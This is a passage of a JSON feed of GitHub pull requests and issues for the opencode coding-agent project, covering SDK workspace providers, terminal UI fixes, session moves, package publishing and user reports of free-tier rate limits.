          "id": "github:anomalyco/opencode:pull_request:42142",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(sdk): configure external workspace providers",
          "text": "## What Allow SDK Next embedders to supply provider-wide workspace infrastructure at host construction time: ```ts const openCodeLayer = OpenCodeWorkerd.layer({ storage, workspaceProviders: { modal: WorkerdModalWorkspace.make({ namespace: env.WORKSPACE_DO }), }, }) ``` The typed SDK facade now exposes explicit workspace lifecycle operations: ```ts const opencode = yield* OpenCode.Service const workspace = yield* opencode.workspace.create({ provider: \"modal\" }) yield* opencode.workspace.destroy({ workspaceID: workspace.id }) ``` ## How - Adds `workspaceProviders` to normal and Workerd SDK Next create/layer options. - Installs supplied drivers through the existing `WorkspaceDriver.registryNode` replacement seam only when providers are supplied. - Retains `Workspace.Service` in embedded route graphs and projects only `create` and `destroy` onto the typed `OpenCode.Service` facade. - Keeps standard server composition on the existing empty workspace registry. - Re-exports the canonical Schema `Workspace` namespace from SDK Next. - Removes the built-in Node Modal workspace/environment implementation and its tests. Concrete providers now come from the embedder. - Removes the now-unused `modal` server dependency and lockfile entries. ## Scope - No arbitrary Core service exposure. - No workspace `connect` facade; Location boot remains responsible for connecting placement. - No provider-specific per-workspace options. - No atomic workspace plus session API. - No SDK plugin changes; tools, personas, agents, and hooks remain per-Location plugins. - No Protocol or Server `HttpApi` changes, so generated clients are unchanged. ## Testing - `cd packages/sdk-next && bun typecheck && bun run test` (15 passed) - `cd packages/server && bun typecheck && bun run test` (22 passed) - `cd packages/core && bun run test test/workspace.test.ts && bun typecheck` (2 focused workspace tests passed) - `cd packages/workerd-spike && bun run test` (6 passed in the real Workerd runtime) - Commit hook: `bun turbo typecheck --concurrency=3` (32 package tasks passed) - `bunx prettier --check ...` for all changed text files - `git diff --check` The SDK tests verify externally supplied fake driver creation, persisted provider binding, session placement at the returned workspace ID, delegated destruction and durable removal, and preservation of the typed `WorkspaceDriver.ProviderNotFound` error outside HTTP.",
          "url": "https://github.com/anomalyco/opencode/pull/42142",
          "createdAt": "2026-08-12T20:30:39Z",
          "updatedAt": "2026-08-12T20:47:15Z",
          "timestamp": "2026-08-12T20:47:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:2e95a31bb4f159d680f0",
        "signalId": "github:anomalyco/opencode:pull_request:42139",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42139",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): replace tab from session picker",
          "text": "## Summary - replace the active session tab when selecting normally from the Sessions picker - open a new tab for Shift-click, Shift+Enter, and iTerm2 linefeed activation - preserve existing tabs when selecting a session that is already open - rename the V2 filesystem operation and generated SDK method from `find` to `get` while retaining `/api/fs/find` ## Testing - `bun test test/cli/tui/dialog-select.test.tsx test/context/session-tabs.test.tsx test/context/session-tabs-model.test.ts` in `packages/tui` - `bun test test/mini/runtime.test.ts` in `packages/tui` - `bun test src/components/directory-picker-domain.test.ts` in `packages/app` - `bun test test/openapi.test.ts` in `packages/codemode` - `bun typecheck` in affected packages - generated OpenAPI and client surfaces refreshed - `git diff --check`",
          "url": "https://github.com/anomalyco/opencode/pull/42139",
          "createdAt": "2026-08-12T20:16:48Z",
          "updatedAt": "2026-08-12T20:46:20Z",
          "timestamp": "2026-08-12T20:46:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "jlongster",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d3ea3225308a2cbaf51b",
        "signalId": "github:anomalyco/opencode:pull_request:42144",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42144",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): refine session tab activity indicators",
          "text": "## What Refines session-tab activity feedback in both layouts: - vertical tabs use a compact 10-cell running sweep instead of washing the full row - selected shortcuts stay neutral, while running shortcuts turn interactive blue - start, reprompt, and completion brighten the shortcut, then settle into its durable state - vertical flashes radiate from the shortcut with a feathered falloff - top tabs adopt the same shortcut color and flash semantics without changing their background pulse - the Tabs story can hold runs open, reprompt the selected session, end runs, and switch layouts ## How - `packages/tui/src/component/session-tabs.tsx` shares a number-ignition primitive across vertical and horizontal tabs and applies the selected/running color semantics. - `packages/tui/src/component/tab-pulse.tsx` adds an optional flash tail so localized flashes can fade spatially instead of ending as a hard block. - `packages/tui/src/feature-plugins/system/storybook/` adds reusable footer chrome and richer manual controls for inspecting tab states. ## Scope This does not change the horizontal tab background pulse geometry. It only aligns shortcut color and ignition behavior there. ## Testing - `bun typecheck` in `packages/tui` - `bun run test` in `packages/tui`: 689 passed, 5 skipped - push hook monorepo typecheck: 32 packages passed - real PTY verification in both left-rail and top-strip layouts ## Demo Real PTY recording with the `opencode-drive` fixture selected. It shows vertical start/reprompt, then top-tab reprompt/completion. https://github.com/user-attachments/assets/07f18419-bea6-4c51-aaa3-0859e4be2725",
          "url": "https://github.com/anomalyco/opencode/pull/42144",
          "createdAt": "2026-08-12T20:36:14Z",
          "updatedAt": "2026-08-12T20:44:02Z",
          "timestamp": "2026-08-12T20:44:02Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:84f6d4974ea18fad4863",
        "signalId": "github:anomalyco/opencode:pull_request:42025",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42025",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): defer active session moves",
          "text": "## Summary - admit session moves durably through `session_pending` instead of interrupting active execution - apply deferred moves after execution settlement and route successor work through the new location - preserve latest-wins replacement, startup recovery, and exact admission consumption semantics - regenerate public clients and narrow TUI pending-input delivery handling for move entries ## Testing - `bun typecheck` (workspace pre-push hook, 32 packages) - `bun test test/session-move.test.ts test/session-execution.test.ts test/session-run-coordinator.test.ts test/session-runner.test.ts` (`packages/core`) - `bun test test/event-manifest.test.ts` (`packages/schema`) - `bun test test/promise.test.ts test/effect.test.ts test/api.types.ts` (`packages/client`) - `bun test test/cli/tui/data.test.tsx` (`packages/tui`) - `bun run migration --check` (`packages/core`)",
          "url": "https://github.com/anomalyco/opencode/pull/42025",
          "createdAt": "2026-08-12T13:30:57Z",
          "updatedAt": "2026-08-12T20:36:17Z",
          "timestamp": "2026-08-12T20:36:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "thdxr",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:988e85bfa59a25b76255",
        "signalId": "github:anomalyco/opencode:pull_request:42141",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42141",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): improve selected spinner contrast",
          "text": "## What Make activity spinners readable when their session row is selected in the Open and Sessions pickers. ## Before / After **Before:** activity spinners always used the default muted spinner color. On a selected row, that color had low contrast against the focused background and made the running state difficult to see. **After:** gutter content receives the row's resolved foreground color. Activity spinners now use the same high-contrast foreground as the selected title, while unselected spinners remain muted. ## How - `packages/tui/src/ui/dialog-select.tsx` passes each row's resolved foreground color to its gutter renderer. - `packages/tui/src/component/dialog-open.tsx` and `dialog-session-list.tsx` apply that color to running-session spinners. - `packages/tui/test/cli/tui/dialog-select.test.tsx` verifies the gutter color follows selection as it moves between rows. ## Scope This only changes activity-spinner contrast in dialog rows. Other gutter markers keep their existing colors. ## Testing - `bun run test test/cli/tui/dialog-select.test.tsx test/cli/tui/dialog-open.test.tsx` (20 passed) - `bun typecheck` from `packages/tui` - Repository pre-push typecheck (32 packages successful) - OpenCode Drive: started an active session, opened the Sessions picker from a new session, and moved selection away from and back to the running row. ## Demo OpenCode Drive recording. The spinner starts selected with the high-contrast row foreground, becomes muted when selection moves away, then regains contrast when selected again. https://github.com/user-attachments/assets/76484285-3b0e-4573-b193-18abf3aa09a5",
          "url": "https://github.com/anomalyco/opencode/pull/42141",
          "createdAt": "2026-08-12T20:25:06Z",
          "updatedAt": "2026-08-12T20:27:55Z",
          "timestamp": "2026-08-12T20:27:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4c668ddf7cc4724277d2",
        "signalId": "github:anomalyco/opencode:pull_request:42138",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42138",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): continue sessions after location move",
          "text": "### Issue for this PR N/A ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Defaults session moves to steer delivery and preserves an active model continuation across the Location handoff. The source runner returns the next logical step to SessionExecution, which reloads the Session and destination Location services before continuing. Queued inputs remain pending and the step allowance is not reset. ### How did you verify your code works? - `bun typecheck` in `packages/core` - 179 focused Core tests covering move, runner, execution, recorded runner, and coordinator behavior - Full pre-push Turbo typecheck across 39 packages ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42138",
          "createdAt": "2026-08-12T20:14:20Z",
          "updatedAt": "2026-08-12T20:25:54Z",
          "timestamp": "2026-08-12T20:25:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "thdxr",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:497950c36e66a05d0a86",
        "signalId": "github:anomalyco/opencode:issue:14273",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:14273",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[bug] Free usage exceeded. Add creddits (when using Zen free models)",
          "text": "### Description When using Kimi K2.5 or MiniMax2.5 (free opencode versions) i encountered this error: \"Free usage exceeded. Add credits https://opencode.ai/zen\" Also i have $3 balance in Opencode Zen. So its not a balance issue, i guess. ### Plugins _No response_ ### OpenCode version 1.2.6 ### Steps to reproduce 1. Start opencode 2. Choose Kimi K2.5 or Minimax2.5 free Opencode Zen models. 3. Choose \"build\" agent 4. Run any query. ### Screenshot and/or share link <img width=\"1426\" height=\"274\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bff81446-fd68-40b0-9de1-b4ee7b2a7779\" /> <img width=\"1191\" height=\"781\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/e2785987-32d9-4ce2-ac0f-fd12df4b0703\" /> ### Operating System macOS 26.3 ### Terminal Ghostty",
          "url": "https://github.com/anomalyco/opencode/issues/14273",
          "createdAt": "2026-02-19T12:23:35Z",
          "updatedAt": "2026-08-12T20:25:43Z",
          "timestamp": "2026-08-12T20:25:43Z",
          "metrics": {
            "reactions": 1,
            "comments": 40
          },
          "labels": [
            "bug",
            "zen"
          ],
          "author": "joaomj",
          "state": "closed",
          "assignees": [
            "fwang"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:ee4c3a23731a65f5d556",
        "signalId": "github:anomalyco/opencode:pull_request:42127",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42127",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): navigate filtered plugins",
          "text": "## What Allow Up and Down to navigate filtered Plugins and MCP dialogs without presenting keyboard focus as a durable current selection. ## Before / After **Before:** Plugins and MCP fed the highlighted row back into `DialogSelect.current`. Since `current` means the externally current value, this added a dot to whichever row the keyboard happened to highlight. While filtering, updating that value also caused `DialogSelect` to restore the first result, preventing navigation. Plugin status text also used inline colors, so statuses such as `active` remained green on the focused-row background and lost contrast. **After:** Plugins and MCP track focus through `onMove` without declaring a singular current row. Filtered navigation advances normally, no selection dot follows the highlight, and focused plugin statuses use the row's high-contrast foreground while unfocused statuses retain semantic colors. ## How - `packages/tui/src/feature-plugins/system/plugins.tsx` removes the focus-as-current wiring and uses `footerColor` instead of an inline colored span. - `packages/tui/src/component/dialog-mcp.tsx` removes the same focus-as-current wiring. - Shared `DialogSelect.current` behavior is unchanged for genuine durable-current pickers such as model, agent, variant, theme, session, move destination, and diff source. ## Scope Settings may use `current` as an initial navigation target when opened from a specific command, but it does not generally show a dot and is not part of this bug. No shared `DialogSelect` semantics change in this PR. ## Testing - `bun run test test/cli/tui/dialog-select.test.tsx` from `packages/tui` (13 passed) - `bun typecheck` from `packages/tui` - Push hook: repository-wide `bun turbo typecheck --concurrency=3` (32 tasks passed) - OpenCode Drive reproduction against the development TUI: - Unfiltered Up and Down navigation - Filtered Up and Down navigation - Wrap in both directions - Clear filter and continue navigating - No current-selection dot follows keyboard focus - Focused status text remains legible ## Demo OpenCode Drive recording of the corrected V2 TUI. https://github.com/user-attachments/assets/a1d99caf-43b1-490a-9210-0e0f4fa4d32c",
          "url": "https://github.com/anomalyco/opencode/pull/42127",
          "createdAt": "2026-08-12T19:34:11Z",
          "updatedAt": "2026-08-12T20:20:56Z",
          "timestamp": "2026-08-12T20:20:56Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:439f656578b57a16a0d8",
        "signalId": "github:anomalyco/opencode:issue:42137",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42137",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "chore(drive): transfer npm ownership and trusted publishing",
          "text": "## Problem The adopted `opencode-drive` package remains independently versioned at `1.4.3`, but cannot safely publish from `anomalyco/opencode` yet. Current facts: - npm has one maintainer: `jlongster`. - Trusted publishing/provenance points to `anomalyco/opencode-drive/.github/workflows/publish.yml`. - The first destination release is `1.4.4` (pending special-key patch after `1.4.3`). - Bare `v1.4.4` tags collide with OpenCode tags; use `opencode-drive-v1.4.4`. - Packed `@opencode-ai/client: workspace:*` currently rewrites to a version that must exist publicly before consumers can install Drive. - OpenCode's global publisher must never rewrite Drive's independent version. The workspace package is intentionally marked `private` until these gates are complete. See `packages/drive/RELEASING.md`. ## Acceptance - James adds the destination operator as npm owner, or updates trust himself. - npm trusted publisher targets `anomalyco/opencode` and dedicated `publish-drive.yml`. - Dedicated workflow uses GitHub-hosted runner, Node 24, npm OIDC, `id-token: write`, and namespaced tags. - `@opencode-ai/client` packed dependency is available on npm. - Packed tarball installs in a clean consumer; every export and installed CLI are verified. - `opencode-drive@1.4.4` provenance points to the destination repository/workflow. - Old workflow is disabled after successful cutover.",
          "url": "https://github.com/anomalyco/opencode/issues/42137",
          "createdAt": "2026-08-12T20:13:13Z",
          "updatedAt": "2026-08-12T20:13:13Z",
          "timestamp": "2026-08-12T20:13:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:185182e50db9fe88f3cb",
        "signalId": "github:anomalyco/opencode:issue:42136",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42136",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "refactor(simulation): canonicalize the Drive wire protocol",
          "text": "## Problem `packages/drive/src/simulation/protocol.ts` duplicates the simulation wire contract in `packages/simulation/src/protocol/index.ts`. Server and TUI consume `@opencode-ai/simulation`, while Drive currently maintains a copied public schema. The copies have already drifted, including dynamic-tool progress shape and invocation context naming (`callID` versus canonical `id`). Keeping both makes protocol changes a manual synchronization task and can cause Drive decoding failures. ## Direction Move the Core-independent simulation contract to a canonical Protocol/Schema-owned module that Server, TUI, Simulation, and Drive can all consume without violating runtime dependency direction. Keep Drive-specific transport/controller behavior in Drive. ## Acceptance - One authoritative simulation wire schema. - Drive no longer copies the protocol source. - Existing Drive public protocol exports remain compatible or receive an explicit migration plan. - Server/TUI/Drive protocol tests exercise the same schemas. - Dynamic tool lifecycle fields and progress payloads are reconciled against actual V2 behavior.",
          "url": "https://github.com/anomalyco/opencode/issues/42136",
          "createdAt": "2026-08-12T20:13:12Z",
          "updatedAt": "2026-08-12T20:13:12Z",
          "timestamp": "2026-08-12T20:13:12Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e9baff1ee061ea439a1a",
        "signalId": "github:anomalyco/opencode:issue:33495",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:33495",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG] Zen balance does not remove free usage cap; paid users still hit 200-request/free usage limit",
          "text": "### Description Users with an active OpenCode Zen balance are still being limited as if they are free-tier users. I tested this with two separate users/accounts. One account had a Zen balance of at least $20, but both accounts still hit the same free usage cap / 200 request limit and received 429 rate-limit errors. The paid/balance-enabled account did not appear to get any higher allowance or fallback to paid Zen balance. This looks like the free usage limiter is being applied before checking whether the account has Zen balance / billing enabled. Expected behavior: * Accounts without billing/balance should be limited by the free usage cap. * Accounts with Zen balance should either: * use the paid Zen balance after the free cap is reached, or * not receive the same free-tier-only limit. * The error should make clear whether this is a free quota limit, Go usage limit, monthly spend limit, provider limit, or Zen balance issue. Actual behavior: * Both free and paid/balance-enabled users hit the same limit. * The paid account still receives HTTP 429 / `FreeUsageLimitError`. * Adding $20 balance does not appear to remove or bypass the free usage cap. Sanitized example error: ```json { \"statusCode\": 429, \"error\": { \"type\": \"FreeUsageLimitError\", \"message\": \"Rate limit exceeded. Please try again later.\" } } ``` This is confusing because Zen is documented as pay-per-request after adding balance, but the account still behaves like an unpaid/free account. ### Plugins None ### OpenCode version 1.17.7 Please confirm if needed; this was observed from the client/user-agent during testing. ### Steps to reproduce 1. Create or use an OpenCode Zen account with at least $20 balance. 2. Use a Zen/free model such as `deepseek-v4-flash-free` or another Zen free model. 3. Send requests until the free usage cap is reached. 4. Observe that the account still receives `FreeUsageLimitError` / HTTP 429. 5. Repeat with another user/account without balance. 6. Compare behavior: both accounts appear to receive the same 200-request/free usage cap despite one having Zen balance. ### Screenshot and/or share link _No response_ ### Operating System Linux container ### Terminal OpenCode CLI / server environment",
          "url": "https://github.com/anomalyco/opencode/issues/33495",
          "createdAt": "2026-06-23T11:56:03Z",
          "updatedAt": "2026-08-12T20:09:54Z",
          "timestamp": "2026-08-12T20:09:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 6
          },
          "labels": [],
          "author": "90renrocraftcracksblogspotcom",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:8e70f7aeab7f50bc837d",
        "signalId": "github:anomalyco/opencode:pull_request:42131",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42131",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): continue pending work after interrupt",
          "text": "## Summary - pass `continue: true` when the main TUI interrupts a running session - preserve explicit subagent cancellation behavior ## Testing - `bun typecheck` (`packages/tui`) - `bun test` (`packages/tui`): 688 passed, 5 skipped - pre-push monorepo typecheck: 32 packages passed",
          "url": "https://github.com/anomalyco/opencode/pull/42131",
          "createdAt": "2026-08-12T19:42:52Z",
          "updatedAt": "2026-08-12T19:55:58Z",
          "timestamp": "2026-08-12T19:55:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "thdxr",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:13854dde288a8ed1455c",
        "signalId": "github:anomalyco/opencode:pull_request:42121",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42121",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "refactor(codemode): route transpilation through a #transpile conditional import",
          "text": "## What / Why Runtimes bundled with the `workerd` condition cannot carry the TypeScript transpiler dependency: the compiler is large and probes Node internals during module initialization. Route interpreter transpilation through a `#transpile` conditional import. Node and Bun resolve the extracted TypeScript implementation, preserving the existing path byte-for-byte, while workerd bundles resolve an inert variant that passes JavaScript through without importing the compiler. TypeScript-only syntax then fails at the interpreter parse boundary with a clear parse error. This follows the `#global-roots` conditional-import precedent in `packages/util` from #41918. ## Scope - Adds the `#transpile` package imports map in `packages/codemode`. - Extracts the existing Node/Bun transpilation implementation without changing its compiler options or diagnostic formatting. - Adds the workerd pass-through implementation. - Does not add TypeScript transpilation support to workerd. ## Testing - `bun run typecheck` in `packages/codemode` - `bun run test` in `packages/codemode` (1,089 passing) - Push hook: `bun turbo typecheck --concurrency=3` (32 packages passing)",
          "url": "https://github.com/anomalyco/opencode/pull/42121",
          "createdAt": "2026-08-12T19:02:15Z",
          "updatedAt": "2026-08-12T19:43:34Z",
          "timestamp": "2026-08-12T19:43:34Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:99463d62a0a548d76209",
        "signalId": "github:anomalyco/opencode:pull_request:42122",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42122",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): resolve watcher binding require lazily",
          "text": "## What / Why Bundles using the `workerd` condition crash at import time because `import.meta.url` is undefined there and `createRequire(import.meta.url)` currently runs at module scope. The watcher is never loaded on that runtime, so resolving the require eagerly turns unreachable functionality into a bundle-wide startup failure. Before, importing the bundle evaluated `createRequire` immediately and crashed. After, `createRequire` runs only when `load()` is called, preserving Node and Bun behavior while avoiding evaluation on workerd. This follows the same lazy resolution pattern used for `npmPath` in `packages/util/src/npm-config.ts`. ## Scope One file: `packages/core/src/filesystem/watcher-binding.ts`. ## Testing - `bun run typecheck` - `bun run test test/filesystem/watcher.test.ts` from `packages/core` (11 passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42122",
          "createdAt": "2026-08-12T19:02:18Z",
          "updatedAt": "2026-08-12T19:40:44Z",
          "timestamp": "2026-08-12T19:40:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:a6d001bbd80cf60e30c5",
        "signalId": "github:anomalyco/opencode:issue:41966",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41966",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "cli: generated Zsh completions fail with doubled argument definition",
          "text": "## Summary The Zsh script generated by `opencode2 --completions zsh` defines both the optional directory and command as positional argument 1. Pressing Tab after `opencode2 ` fails instead of showing completions. ## Environment - opencode version: `opencode2 v0.0.0-next-17276` - OS: Windows 11 with WSL2; Linux 6.18.33.2-microsoft-standard-WSL2 x86_64 - Terminal: Windows Terminal; `TERM=xterm-256color`; `TERM_PROGRAM` and `COLORTERM` unset - Shell: `/usr/bin/zsh`, Zsh 5.9.2 - Install/channel: next/beta, installed at `~/.bun/bin/opencode2` - Active plugins: `codex-limits.ts`, `git-ai.ts` ## Reproduction 1. Run `mkdir -p ~/.zsh/completions && opencode2 --completions zsh > ~/.zsh/completions/_opencode2`. 2. Add `fpath=(\"$HOME/.zsh/completions\" $fpath)`, `autoload -Uz compinit`, and `compinit` to `.zshrc`. 3. Start a fresh Zsh shell. 4. Type `opencode2 ` and press Tab. ## Expected Behavior Zsh displays available OpenCode subcommands and options. ## Actual Behavior Completion fails consistently with: ```text _arguments:comparguments:327: doubled argument definition: 1:command:->command ``` The generated root specification contains: ```zsh ':Directory to start OpenCode in:' '1:command:->command' '*::arg:->args' ``` The unnumbered directory specification occupies positional argument 1 and conflicts with the explicit command definition. ## Additional Context Removing `':Directory to start OpenCode in:'` from the generated file makes completion work. Regenerating the file reintroduces the issue. This occurs with the script emitted directly by `opencode2 --completions zsh`; active plugins do not appear involved.",
          "url": "https://github.com/anomalyco/opencode/issues/41966",
          "createdAt": "2026-08-12T07:47:35Z",
          "updatedAt": "2026-08-12T19:38:58Z",
          "timestamp": "2026-08-12T19:38:58Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [
            "2.0"
          ],
          "author": "AdiY00",
          "state": "closed",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:7321047020a9c74207a2",
        "signalId": "github:anomalyco/opencode:issue:42129",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42129",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "deepseek and mimo models ratelimit problem",
          "text": "### Description on opencode free model tier, the deepseek and mimo are getting ratelimit error after using tools. the first tool call(search for example) get hit with ratelimit error. tested on 9router and omnirouter and the open code, after using 2 light task request(for example curling a site) it get hit with ratelimit even when the limits are not hit ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42129",
          "createdAt": "2026-08-12T19:35:59Z",
          "updatedAt": "2026-08-12T19:37:32Z",
          "timestamp": "2026-08-12T19:37:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "2sulraw",
          "state": "open",
          "assignees": [
            "MrMushrooooom"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5592ef6b6ecf082110e7",
        "signalId": "github:anomalyco/opencode:pull_request:42045",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42045",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(compaction): adjust instructions and structure to be more clear to smaller models like dsv4 flash",
          "text": "### Issue for this PR Closes #41801 Closes #41268",
          "url": "https://github.com/anomalyco/opencode/pull/42045",
          "createdAt": "2026-08-12T14:53:16Z",
          "updatedAt": "2026-08-12T19:36:53Z",
          "timestamp": "2026-08-12T19:36:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "rekram1-node",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:1ba70997fb670645969b",
        "signalId": "github:anomalyco/opencode:issue:41801",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41801",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Manual /compact with DeepSeek V4 Flash degenerates into thousands of repeated lines",
